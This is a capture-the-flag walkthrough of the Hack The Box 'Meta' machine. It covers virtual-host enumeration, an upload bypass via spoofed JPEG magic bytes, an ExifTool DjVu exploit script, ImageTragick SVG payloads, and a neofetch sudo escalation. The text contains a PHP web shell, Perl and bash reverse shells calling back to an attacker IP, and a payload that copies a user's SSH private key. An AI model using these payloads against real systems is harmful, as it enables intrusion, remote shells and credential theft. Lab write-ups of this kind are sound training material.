Hack The Box - Meta Walkthrough

Welcome to my Hack The Box walkthrough for the "Meta" box. The box is considered to be of medium difficulty. Meta requires you to perform DNS virtual host enumeration, identify the inner workings of an image upload functionality, and exploit this to get a foothold. We then find a vulnerable version of ImageMagick (which is vulnerable to ImageTragick). We exploit this to get user access. Finally we escalate to root privileges through Neofetch, that is allowed to be executed with root permissions.

Foothold

We start off by running an nmap scan to enumerate all ports, services and their versions.

1nmap -sC -sV -p- -oA nmap/initial 10.129.114.21

Which shows us the following results.

 1PORT   STATE SERVICE VERSION
 222/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
 3| ssh-hostkey: 
 4|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
 5|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
 6|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
 780/tcp open  http    Apache httpd
 8|_http-title: Did not follow redirect to http://artcorp.htb
 9|_http-server-header: Apache
10Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We notice an up-to-date version of SSH running on port 22 so we skip it. Port 80 hosts a web service that redirects us to artcorp.htb. Let's add artcorp.htb to our /etc/hosts file and visit the webpage.

The web page describes information about the ArtCorp company, and mentions that development is still in progress. Let's start off with a quick gobuster scan on the root directory of the webservice.

1gobuster dir -u http://artcorp.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out -x php

This however doesn't provide us with any useful results other than /asset and /css. Let's try to find other virtual hosting domains through wfuzz.

1wfuzz -c -u http://artcorp.htb/ -H "Host: FUZZ.artcorp.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hl 0 -f wfuzz.out

Which finds the dev01 domain for us.

1=====================================================================
2ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                   
3=====================================================================
4
5000001492:   200        9 L      24 W       247 Ch      "dev01" 

Let's add dev01 to our /etc/hosts file and visit it. The webpage directs us to a page which contains the MetaView application. The MetaView application is an application that allows for file uploads. The file upload allows us to upload png/jpg files by doing a POST request. The description states "Upload your image to display related metadata."

 1POST /metaview/index.php HTTP/1.1
 2Host: dev01.artcorp.htb
 3Content-Length: 343
 4Cache-Control: max-age=0
 5Upgrade-Insecure-Requests: 1
 6Origin: http://dev01.artcorp.htb
 7Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryujOdmuftRisksaZl
 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10Referer: http://dev01.artcorp.htb/metaview/index.php
11Accept-Encoding: gzip, deflate
12Accept-Language: en-US,en;q=0.9
13Connection: close
14
15------WebKitFormBoundaryujOdmuftRisksaZl
16
17Content-Disposition: form-data; name="imageUpload"; filename="shell.jpg"
18Content-Type: image/jpeg
19
20<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
21
22------WebKitFormBoundaryujOdmuftRisksaZl
23
24Content-Disposition: form-data; name="submit"
25
26------WebKitFormBoundaryujOdmuftRisksaZl--

I just tried to upload a random .php shell with the .jpg extension, but the application does not allow us to do so.

1HTTP/1.1 200 OK
2
3[...]
4	<pre>
5	File not allowed (only jpg/png).
6	</pre>
7[...]

Let's try some basic bypasses. I first try to change the magic byte sequence from PHP script to JPG. When we look at the file before the changes we can see that it's an PHP script, ASCII text.

1file test.jpg
2>> test.jpg: PHP script, ASCII text

We add 4 spaces before the php script, and one space after, so we have some bytes to work with. When we look at the original file vs the padded file, we will see the following.

1hexedit test.jpg
2
3## Original
400000000   3C 3F 70 68  70 20 65 63
5
6## Padded
700000000   20 20 20 20  3C 3F 70 68

We can see that the spaces are represented as 20 in hex. The magic bytes for jpg files are FF D8 FF DB as the starting bytes, and FF D9 as the ending bytes. Let's change these bytes in the hexeditor.

1hexedit test.jpg
2
300000000   FF D8 FF DB  3C 3F 70 68  70 20 65 63  [....]
400000034   27 3C 2F 70  72 65 3E 27  3B 3F 3E FF  D9 0A

When we now take a look at the filetype, we can see that it's viewed as JPEG image data.

1file test.jpg
2>> test.jpg: JPEG image data

When we now upload the file, we get the following response.

 1HTTP/1.1 200 OK
 2
 3[...]
 4
 5<pre>
 6File Type                       : JPEG
 7File Type Extension             : jpg
 8MIME Type                       : image/jpeg
 9</pre>
10
11[...]

Which means we managed to bypass the upload restrictions and upload our file and make it display our metadata. I think I now know where the name of the box came from :) Let's see if we can change the filetype to .php by intercepting the request and changing the "filename=test.jpg" to "filename=test.php".

 1POST /metaview/index.php HTTP/1.1
 2Host: dev01.artcorp.htb
 3Content-Length: 348
 4Cache-Control: max-age=0
 5Upgrade-Insecure-Requests: 1
 6Origin: http://dev01.artcorp.htb
 7Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLPmodSU23xW3QaSu
 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10Referer: http://dev01.artcorp.htb/metaview/index.php
11Accept-Encoding: gzip, deflate
12Accept-Language: en-US,en;q=0.9
13Connection: close
14
15------WebKitFormBoundaryLPmodSU23xW3QaSu
16
17Content-Disposition: form-data; name="imageUpload"; filename="test.php"
18Content-Type: image/jpeg
19
20ÿØÿÛ<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>ÿÙ
21
22------WebKitFormBoundaryLPmodSU23xW3QaSu
23
24Content-Disposition: form-data; name="submit"
25
26------WebKitFormBoundaryLPmodSU23xW3QaSu--

The server responds with the same response as before, indicating that the file is uploaded

 1HTTP/1.1 200 OK
 2
 3[...]
 4
 5<pre>
 6File Type                       : JPEG
 7File Type Extension             : jpg
 8MIME Type                       : image/jpeg
 9</pre>
10
11[...]

If the file would be uploaded to a location that we can access, we would likely be able to achieve local code execution. I add "test" (our filename) to the wordlist I will be using to enumerate the web server.

1echo "test" >> /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

And use fuff in recursive mode to try and find the file. I first check the root directory.

1ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -recursion -u "http://dev01.artcorp.htb/FUZZ" -e .php,.jpg,.png

But this doesn't return any results. I then try to scan the /metaview/ subdirectory.

1ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -u "http://dev01.artcorp.htb/metaview/FUZZ" -e .php,.jpg,.png

This quite quickly comes back with some results.

 1css                     [Status: 301, Size: 246, Words: 14, Lines: 8]
 2lib                     [Status: 301, Size: 246, Words: 14, Lines: 8]
 3uploads                 [Status: 301, Size: 250, Words: 14, Lines: 8]
 4assets                  [Status: 301, Size: 249, Words: 14, Lines: 8]
 5index.php               [Status: 200, Size: 1404, Words: 397, Lines: 34]
 6vendor                  [Status: 301, Size: 249, Words: 14, Lines: 8]
 7
 8[INFO] Starting queued job on target: http://dev01.artcorp.htb/metaview/vendor/FUZZ
 9autoload.php            [Status: 200, Size: 0, Words: 1, Lines: 1]
10composer                [Status: 301, Size: 258, Words: 14, Lines: 8]
11[INFO] Starting queued job on target: http://dev01.artcorp.htb/metaview/vendor/composer/FUZZ
12.php                    [Status: 403, Size: 199, Words: 14, Lines: 8]
13LICENSE                 [Status: 200, Size: 2919, Words: 443, Lines: 57]

We can see that there's an "uploads" directory. Additionally we find an autoload.php file, a composer directory and a LICENSE file. Unfortunately we cannot find our test.php or test.jpg file in the uploads directory.

Let's start over again. Let's upload a legit .png file and see how the results differ from our file upload. I should've tried this before uploading an "obfuscated" .jpg file, but better late then never. I download a random .png file from the internet and upload it.

 1POST /metaview/index.php HTTP/1.1
 2Host: dev01.artcorp.htb
 3Content-Length: 93554
 4Cache-Control: max-age=0
 5Upgrade-Insecure-Requests: 1
 6Origin: http://dev01.artcorp.htb
 7Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBTALKBfi0ShsKwi5
 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10Referer: http://dev01.artcorp.htb/metaview/
11Accept-Encoding: gzip, deflate
12Accept-Language: en-US,en;q=0.9
13Connection: close
14
15------WebKitFormBoundaryBTALKBfi0ShsKwi5
16
17Content-Disposition: form-data; name="imageUpload"; filename="PNG.png"
18
19Content-Type: image/png
20
21‰PNG
22
23

To which the server responds with the following information.

 1HTTP/1.1 200 OK
 2
 3[...]
 4
 5<pre>
 6File Type                       : PNG
 7File Type Extension             : png
 8MIME Type                       : image/png
 9Image Width                     : 1541
10Image Height                    : 1213
11Bit Depth                       : 8
12Color Type                      : Palette
13Compression                     : Deflate/Inflate
14Filter                          : Adaptive
15Interlace                       : Noninterlaced
16Palette                         : (Binary data 765 bytes, use -b option to extract)
17Transparency                    : (Binary data 27 bytes, use -b option to extract)
18</pre>
19
20[..]

This output looks very familiar to me.. I've seen this before but wasn't quite sure where. Eventually I analyzed the png file using exiftool, and get a somewhat identical output.

 1exiftool PNG.png
 2
 3ExifTool Version Number         : 12.40
 4File Name                       : PNG.png
 5Directory                       : .
 6File Size                       : 91 KiB
 7File Modification Date/Time     : 2020:09:10 22:31:05+02:00
 8File Access Date/Time           : 2022:04:08 10:41:56+02:00
 9File Inode Change Date/Time     : 2022:04:08 10:41:54+02:00
10File Permissions                : -rw-r--r--
11File Type                       : PNG
12File Type Extension             : png
13MIME Type                       : image/png
14Image Width                     : 1541
15Image Height                    : 1213
16Bit Depth                       : 8
17Color Type                      : Palette
18Compression                     : Deflate/Inflate
19Filter                          : Adaptive
20Interlace                       : Noninterlaced
21Palette                         : (Binary data 765 bytes, use -b option to extract)
22Transparency                    : (Binary data 27 bytes, use -b option to extract)
23Image Size                      : 1541x1213
24Megapixels                      : 1.9

It looks like the file is being parsed by exiftool, and the output is returned. If we can somehow exploit any of the exiftool functionalities, we could maybe leak sensitive data or get code execution. Let's check for exiftool vulnerabilities. After a quick Google I stumbled upon the following exploit. I clone the repository, change the ip and hostname and run the exploit to generate a malicious .jpg file.

 1#!/bin/env python3
 2import base64
 3import subprocess
 4
 5ip = '10.10.14.12'
 6port = '9001'
 7
 8payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"
 9
10payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};".encode() )
11
12payload = payload + b"'))};\")"
13
14payload_file = open('payload', 'w')
15payload_file.write(payload.decode('utf-8'))
16payload_file.close()
17
18subprocess.run(['bzz', 'payload', 'payload.bzz'])
19subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
20subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg'])

Let's start a nc listener on port 9001 and upload the file.

1rlwrap nc -nvlp 9001
2listening on [any] 9001 ...
3
4connect to [10.10.14.12] from (UNKNOWN) [10.129.114.21] 48722
5/bin/sh: 0: can't access tty; job control turned off
6whoami
7www-data

And we have our foothold. Let's stabalize our shell.

1python3 -c "import pty; pty.spawn('/bin/bash')"
2*ctrl + z*
3stty raw -echo
4fg
5export TERM=xterm
6clear

User shell

We are currently running as the www-data user, and cannot access the user.txt located in the home directory of the user "thomas". Let's look through configuration files to see if we can maybe find password reuse. We search through the different web application configuration files, but unfortunately no luck. We do however find the function that we exploited, called ExifToolWrapper.php.

1<?php                                                                                                                                                                                                                                      
2    function exiftool_exec($newFilepath) {                                                                                                                                                                                                 
3        return shell_exec("exiftool " . escapeshellarg($newFilepath) . " --system:all --exiftool:all -e");                                                                                                                                 
4    }                                                                                                                                                                                                                                      
5?>

It uses the shell_exec function to run the file with exiftool, hence it being vulnerable to our exploit. We can also see the process that executed our reverse shell in the process view.

1www-data  2804  0.0  0.0   2388   760 ?        S    04:54   0:00  |   _ sh -c exiftool '/var/www/dev01.artcorp.htb/metaview/uploads/php3An3DO.jpg' --system:all --exiftool:all -e

The file was uploade to the /uploads/ directory, but with a random name. Therefore we couldn't manage to find our own test.php file.

I look through thomas' home directory configuration files, the /opt directory and some other locations but no luck. Let's run Linpeas to see if that will help us out. Linpeas came back with the following interesting information.

1[+] .sh files in path                                                                                                                                                                                                                      
2[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
3/usr/local/bin/convert_images.sh

The /usr/local/bin/convert_images.sh stood out to me because while I was enumerating the web applications I saw this web directory that didn't contain any files.

1ls /var/www/dev01.artcorp.htb/
2>> convert_images  index.php  metaview

Let's check out the convert_images.sh script.

1ls -lah /usr/local/bin/convert_images.sh
2-rwxr-xr-x 1 root root 126 Jan  3 10:13 /usr/local/bin/convert_images.sh

We can access it, because everyone has read and execute permissions on this file. Let's read the contents of the file.

1cat /usr/local/bin/convert_images.sh
2
3#!/bin/bash
4cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
5pkill mogrify

The script moves to the /var/www/dev01.artcorp.htb/convert_images/ directory (now we finally know what its used for), and runs the usr/local/bin/mogrify binary with the -format png . 2>/dev/null arguments and then kills the mogrify process. Let's check out mogrify.

1ls -lah /usr/local/bin/mogrify
2lrwxrwxrwx 1 root root 6 Aug 29  2021 /usr/local/bin/mogrify -> magick

We can see that it's a symbolic link to the magick command, meaning we can either execute /usr/local/bin/mogrify or just run magick, as it executes the same binary.

 1/usr/local/bin/mogrify --version
 2
 3Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org
 4Copyright: © 1999-2020 ImageMagick Studio LLC
 5License: https://imagemagick.org/script/license.php
 6Features: Cipher DPC HDRI OpenMP(4.5) 
 7Delegates (built-in): fontconfig freetype jng jpeg png x xml zlib
 8
 9magick --version
10
11Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org
12Copyright: © 1999-2020 ImageMagick Studio LLC
13License: https://imagemagick.org/script/license.php
14Features: Cipher DPC HDRI OpenMP(4.5) 
15Delegates (built-in): fontconfig freetype jng jpeg png x xml zlib

We see that we are dealing with imageMagick version 7.0.10-36. I query searchsploit and find a Metasploit "ImageTragick" delegate arbitrary command execution exploit. As we are used to not using Metasploit due to OSCP, I figured it would be good to look around for ImageTragick write-ups that exploit ImageMagick manually. I stumble upon this interesting Blogpost by Ben Simmonds, which provides information regarding the vulnerability and its exploitability.

ImageMagick is a widely deployed, general purpose image processing library written in C, most commonly used to resize, transcode or annotate user supplied images on the web. We will be using CVE-2016-3714, which exploits a vulnerability regarding the input sanitization prior to passing it to the delegate command functionality. More information about the exploit can be found on Ben Simmonds' blog post.

Eventually I find a working proof of concept here. I create the following poc.svg payload.

1<image authenticate='ff" `echo $(id)> ./owned`;"'>
2	<read filename="pdf:/etc/passwd"/> 
3	<get width="base-width" height="base-height" /> 
4	<resize geometry="400x400" /> 
5	<write filename="test.png" /> 
6	<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> 
7	<image xlink:href="msl:poc.svg" height="100" width="100"/> 
8	</svg> 
9</image>

This payload will echo the output of the id command to the ./owned file. I execute it.

1cp /tmp/poc.svg /var/www/dev01.artcorp.htb/convert_images/poc.svg
2
3/usr/local/bin/convert_images.sh
4
5/usr/local/bin/convert_images.sh: line 2: 19310 Aborted                 /usr/local/bin/mogrify -format png *.* 2> /dev/null
6
7cat /tmp/owned
8
9uid=33(www-data) gid=33(www-data) groups=33(www-data)

Although we get an error, we do get command execution. Unfortunately it's command execution as the www-data user, and not as the thomas user. This is the case because we are executing the /usr/local/bin/convert_images.sh binary as www-data. The file gets deleted after a while, meaning it's periodically executed. If we wait for thomas to execute the script, we can execute it with his permissions. I first tried to make the script upload to /tmp/owned but it didn't want to do it. So I eventually managed to get Thomas execute the binary by uploading this file.

1<image authenticate='ff" `echo $(id)> /dev/shm/owned`;"'>
2  <read filename="pdf:/etc/passwd"/>
3  <get width="base-width" height="base-height" />
4  <resize geometry="400x400" />
5  <write filename="test.png" />
6  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
7  <image xlink:href="msl:poc.svg" height="100" width="100"/>
8  </svg>
9</image>

Which shows us the following output.

1cd /dev/shm
2
3cat 0wned
4uid=1000(thomas) gid=1000(thomas) groups=1000(thomas)

We earlier found an .ssh directory in thomas' home folder that we could not access. Let's try to download Thomas' private key with the following script.

1<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
2  <read filename="pdf:/etc/passwd"/>
3  <get width="base-width" height="base-height" />
4  <resize geometry="400x400" />
5  <write filename="test.png" />
6  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
7  <image xlink:href="msl:poc.svg" height="100" width="100"/>
8  </svg>
9</image>

We upload the new poc.svg file and wait for the scheduled task to be executed.

 1cat /dev/shm/id_rsa
 2
 3-----BEGIN OPENSSH PRIVATE KEY-----
 4b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
 5NhAAAAAwEAAQAAAYEAt9IoI5gHtz8omhsaZ9Gy+wXyNZPp5jJZvbOJ946OI4g2kRRDHDm5
 6[...]
 7keAmlMNeuMqgBO0guskmU25GX4O5Umt/IHqFHw99mcTGc/veEWIb8PUNV8p/sNaWUckEu9
 8M4ofDQ3csqhrNLlvA68QRPMaZ9bFgYjhB1A1pGxOmu9Do+LNu0qr2/GBcCvYY2kI4GFINe
 9bhFErAeoncE3vJAAAACXJvb3RAbWV0YQE=
10-----END OPENSSH PRIVATE KEY-----

We find his private key and use it to ssh onto the box as the thomas user.

1kali@kali:~$ chmod 600 id_rsa_thomas
2
3kali@kali:~$ ssh thomas@artcorp.htb -i id_rsa_thomas
4
5thomas@meta:~$ whoami
6thomas
7
8thomas@meta:~$ ls
9user.txt

Privilege escalation

The next step is to escalate our privileges to root. When enumerating the box I already found it interesting that the Thomas user had a neofetch configuration file in his home directory. I execute sudo -l and obtain the following output.

1sudo -l 
2
3Matching Defaults entries for thomas on meta:
4    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME
5
6User thomas may run the following commands on meta:
7    (root) NOPASSWD: /usr/bin/neofetch \"\"

We are allowed to run /usr/bin/neofetch as root. We try it, and see the following output.

 1thomas@meta:~$ sudo neofetch
 2       _,met$$$$$gg.          root@meta 
 3    ,g$$$$$$$$$$$$$$$P.       --------- 
 4  ,g$$P"     """Y$$.".        OS: Debian GNU/Linux 10 (buster) x86_64 
 5 ,$$P'              `$$$.     Host: VMware Virtual Platform None 
 6',$$P       ,ggs.     `$$b:   Kernel: 4.19.0-17-amd64 
 7`d$$'     ,$P"'   .    $$$    Uptime: 3 hours, 4 mins 
 8 $$P      d$'     ,    $$P    Packages: 495 (dpkg) 
 9 $$:      $$.   -    ,d$$'    Shell: bash 5.0.3 
10 $$;      Y$b._   _,d$P'      CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz 
11 Y$$.    `.`"Y$$$$P"'         GPU: VMware SVGA II Adapter 
12 `$$b      "-.__              Memory: 148MiB / 1994MiB 
13  `Y$$
14   `Y$$.                                              
15     `$$b.
16       `Y$$b.
17          `"Y$b._
18              `"""

Not gonna lie, this is a very creative privilege escalation vector. We can see that our neofetch is running as root@meta. We look up neofetch at gtfobins, and find the following privilege escalation vector. Gtfobins states that

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

Let's try to set the LFILE to /etc/shadow and run the command.

 1LFILE=/etc/shadow
 2sudo neofetch --ascii $LFILE
 3
 4We trust you have received the usual lecture from the local System
 5Administrator. It usually boils down to these three things:
 6
 7    #1) Respect the privacy of others.
 8    #2) Think before you type.
 9    #3) With great power comes great responsibility.
10
11[sudo] password for thomas:

Aha. We could've known right away that this was not going to work. We are allowed to run neofetch as sudo, but no arguments as /usr/bin/neofetch \"\" was specified. Let's find another way to escalate our privileges. We take a look at the Neofetch config.conf file.

1thomas@meta:~/.config/neofetch$ ls -lah
2total 24K
3drwxr-xr-x 2 thomas thomas 4.0K Dec 20 08:33 .
4drwxr-xr-x 3 thomas thomas 4.0K Aug 30  2021 ..
5-rw-r--r-- 1 thomas thomas  15K Aug 30  2021 config.conf

Whenever Neofetch is launched, the commands specified in the config.conf file are executed. We can most likely add a simple reverse tcp shell to it and run it as root.

1echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.12/9001 0>&1'" >> config.conf

We then export Thomas' config to the XDG_CONFIG_HOME.

1export XDG_CONFIG_HOME="$HOME/.config"

We set up a listener on our attackers VM.

1kali@kali:~$ rlwrap nc -nvlp 9001
2listening on [any] 9001 ...

We execute neofetch as root.

1thomas@meta:~$ sudo neofetch

And we get a reverse connection as the root user!

1kali@kali:~$ rlwrap nc -nvlp 9001
2listening on [any] 9001 ...
3connect to [10.10.14.12] from (UNKNOWN) [10.129.114.21] 48746
4
5root@meta:~# whoami
6root
7
8root@meta:~# ls /root/
9root.txt

And we completed the box. This one was a lot of fun! I hope you guys managed to learn a thing or two. Good luck with completing the box yourself, and see you at the next one!